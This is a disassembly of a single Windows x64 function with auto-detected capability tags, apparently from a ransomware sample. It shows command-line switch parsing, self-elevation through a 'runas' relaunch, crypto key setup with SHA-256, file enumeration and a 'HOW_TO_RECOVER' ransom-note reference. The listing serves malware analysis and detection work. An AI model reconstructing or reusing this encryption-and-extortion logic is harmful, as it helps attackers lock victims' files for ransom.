Function at 0x140007898
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov rax, qword [0x140052010]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r14d, r14d
mov rsi, rcx
mov qword [rbp - 0x80], r14
mov dil, r14b
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x30], r14b
mov dword [rbp - 0x78], r14d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r12, 0xffffffffffffffff
lea r15d, [r14 + 1]
mov r13, rax
test rax, rax
je 0x140007c90
mov dword [rsp + 0x34], r15d
cmp dword [rbp - 0x78], r15d
jle 0x140007c81
lea r14d, [r15 + 1]
xor edi, edi
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x140049d74]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000794a
cmp dword [rbp - 0x78], r14d
jl 0x14000794a
lea rcx, [rbp - 0x80]
jmp 0x1400079a2
mov rcx, qword [rbx]
lea rdx, [0x140049d80]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007983
cmp dword [rbp - 0x78], r14d
jl 0x140007983
mov rdx, qword [rbx + 8]
lea r8, [0x140049d7c]
lea rcx, [rsp + 0x78]
call fcn.140023690
mov byte [rsp + 0x30], 1
jmp 0x140007a3c
mov rcx, qword [rbx]
lea rdx, [0x140049d88]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400079b7
cmp dword [rbp - 0x78], r14d
jl 0x1400079b7
lea rcx, [rsp + 0x78]
mov rdx, qword [rbx + 8]
lea r8, [0x140049d7c]
call fcn.140023690
jmp 0x140007a3c
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007a19
cmp dword [rbp - 0x78], r14d
jl 0x140007a19
mov rax, qword [rsi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007a0c
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x1400079f3
mov rcx, rax
call fcn.140004804
add qword [rsi + 8], 0x20
jmp 0x140007a3c
mov rdx, rax
mov rcx, rsi
call fcn.14000ab94
jmp 0x140007a3c
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007a3c
cmp dword [rbp - 0x78], r14d
jl 0x140007a3c
mov rcx, qword [rbx + 8]
call fcn.140024040
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140007edc
and qword [rsp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007a9f
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x50]
mov r9d, 4
mov dword [rbp - 0x50], 4
lea r8, [rbp - 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140007aaf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140007c19
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.14001eb50
lea rcx, [rbp + 0x40]
call fcn.1400090f0
lea r15d, [rdi + 1]
cmp dword [rbp - 0x78], r15d
jle 0x140007b0f
lea rdi, [r13 + 8]
lea rcx, [rbp + 0x50]
call fcn.140009a60
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140009d50
mov rcx, rax
lea rdx, [0x140049e04]
call fcn.140009d50
inc r15d
lea rdi, [rdi + 8]
cmp r15d, dword [rbp - 0x78]
jl 0x140007adf
mov eax, dword [rbp + 0xc8]
xor edi, edi
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
and al, 0x22
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x70], di
lea r10d, [rdi + 7]
mov qword [rbp - 0x58], r10
movups xmmword [rsp + 0x58], xmm0
cmp al, 2
je 0x140007b66
mov rax, qword [rbp + 0x98]
mov r8, qword [rax]
test r8, r8
je 0x140007b66
cmp r8, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb r8, qword [rbp + 0xc0]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007ba4
test byte [rbp + 0xc8], 4
jne 0x140007b9a
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x140007b9a
mov rax, qword [rbp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
jmp 0x140007b61
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x140007bb6
lea rcx, [rbp - 0x70]
call fcn.14000990c
mov r10, qword [rbp - 0x58]
mov r8, qword [r13]
lea r9, [rbp - 0x70]
cmp r10, 8
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rdi
cmovae r9, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x70]
call fcn.140004724
lea rcx, [rbp + 0xd8]
call fcn.14000900c
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001d40c
mov r15d, dword [rsp + 0x34]
jmp 0x140007c1b
xor edi, edi
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007c52
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007c39
mov rcx, rax
call fcn.140004804
add qword [rsi + 8], 0x20
jmp 0x140007c60
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.14000ab94
inc r15d
inc r14d
add rbx, 8
mov dword [rsp + 0x34], r15d
cmp r15d, dword [rbp - 0x78]
jl 0x14000792a
mov dil, byte [rsp + 0x30]
xor r14d, r14d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r15d, 1
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r15d
or rax, rdx
mov dword [rsp + 0x20], r14d
imul eax, dword [rbp - 0x40]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x74], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007d0f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140007d2e
mov r9d, r15d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140007d2e
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x74]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x74]
lea r11, [0x140055050]
mov dword [0x140055050], eax
mov edx, r15d
mov eax, r15d
mov r8d, r15d
mov r9d, r15d
mov r10d, r15d
cdqe
mov ecx, dword [r11 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r11 + rax*4 - 4]
movsxd rax, r8d
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r9 + 1]
mov dword [r11 + rax*4], ecx
mov r8d, edx
movsxd rax, r10d
mov r9d, edx
mov dword [0x140055a10], edx
mov r10d, edx
mov dword [r11 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x140007d4d
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
movups xmm1, xmmword [0x140052c48]
xor eax, eax
mov byte [rsp + 0x38], 9
xorps xmm0, xmm0
mov qword [rsp + 0x49], rax
movups xmmword [rsp + 0x39], xmm0
lea r8, [rsp + 0x38]
mov dword [rsp + 0x51], eax
movups xmm0, xmmword [0x140052c38]
lea rdx, [rbp + 0x290]
mov word [rsp + 0x55], ax
lea rcx, [0x140054a30]
mov byte [rsp + 0x57], al
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm1
call fcn.1400036c8
lea r8, [0x140052c60]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400036c8
movups xmm0, xmmword [rbp + 0x2b0]
mov r9d, 0x20
mov qword [rbp + 0x30], 0x20
movups xmm1, xmmword [rbp + 0x2c0]
and r9d, 0x3f
mov dword [rbp + 0x10], 0x6a09e667
mov ecx, r9d
mov dword [rbp + 0x14], 0xbb67ae85
not ecx
mov dword [rbp + 0x18], 0x3c6ef372
and ecx, 3
mov dword [rbp + 0x1c], 0xa54ff53a
lea r8d, [r9 + 3]
shl ecx, 3
shr r8d, 2
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], 0x9b05688c
mov dword [rbp + 0x28], 0x1f83d9ab
mov dword [rbp + 0x2c], 0x5be0cd19
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
test r8d, r8d
je 0x140007e97
lea rdx, [rbp - 0x30]
lea rdx, [rdx + r8*4]
lea rdx, [rdx - 4]
mov eax, dword [rdx]
bswap eax
mov dword [rdx], eax
add r8d, 0xffffffff
jne 0x140007e87
mov r8d, r9d
mov edx, 0xffffff80
shr r8, 2
mov eax, 0x80
shl edx, cl
mov ebx, 0xe
shl eax, cl
and edx, dword [rbp + r8*4 - 0x30]
or edx, eax
mov dword [rbp + r8*4 - 0x30], edx
cmp r9d, 0x38
jae 0x140007f50
shr r9d, 2
add r9d, r15d
cmp r9d, ebx
jae 0x140007f88
jmp 0x140007f6c
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x23
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.140004804
movsxd rax, r15d
mov rdx, qword [r13 + rax*8]
inc r12
cmp word [rdx + r12*2], di
jne 0x140007f09
mov r8, r12
lea rcx, [rbp - 0x70]
call fcn.140004788
cmp qword [rbp - 0x58], 8
lea rdx, [rbp - 0x70]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x70]
call fcn.140004724
jmp 0x1400080ab
mov eax, dword [rbp + 0xc]
cmp r9d, 0x3c
sbb ecx, ecx
and ecx, eax
xor eax, ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ed0
mov r9d, r14d
mov eax, r9d
lea rcx, [rbp - 0x30]
sub ebx, r9d
xor edx, edx
mov r8d, ebx
shl r8, 2
lea rcx, [rcx + rax*4]
call fcn.14001eb50
mov edx, dword [rbp + 0x30]
mov ecx, edx
mov eax, dword [rbp + 0x34]
shr ecx, 0x1d
shl eax, 3
or ecx, eax
lea eax, [rdx*8]
mov dword [rbp + 8], ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ed0
mov edx, r14d
lea r9, [0x140054a08]
mov r8, r14
mov rax, r8
mov ecx, edx
and eax, 0xf
not ecx
and ecx, 3
add edx, r15d
shl ecx, 3
mov dword [rbp + rax*4 - 0x30], r14d
mov rax, r8
shr rax, 2
add r8, r15
mov eax, dword [rbp + rax*4 + 0x10]
shr eax, cl
mov byte [r9], al
add r9, r15
cmp edx, 0x20
jb 0x140007fbb
call fcn.14000bb24
mov eax, dword [0x140052c58]
lea r8, [rbp + 0x40]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, r12
jne 0x140008034
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140008034
mov dword [0x140052c58], r14d
jmp 0x14000803d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x140054bb0]
call fcn.1400058e4
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140007804]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x78]
mov r9, rsi
mov rcx, qword [rbp - 0x80]
mov r8b, dil
mov rbx, rax
call fcn.1400066ac
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005bf8
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x140054a08], xmm0
movups xmmword [0x140054a18], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140007268
mov rcx, rsi
call fcn.1400096f8
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14001bcd0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret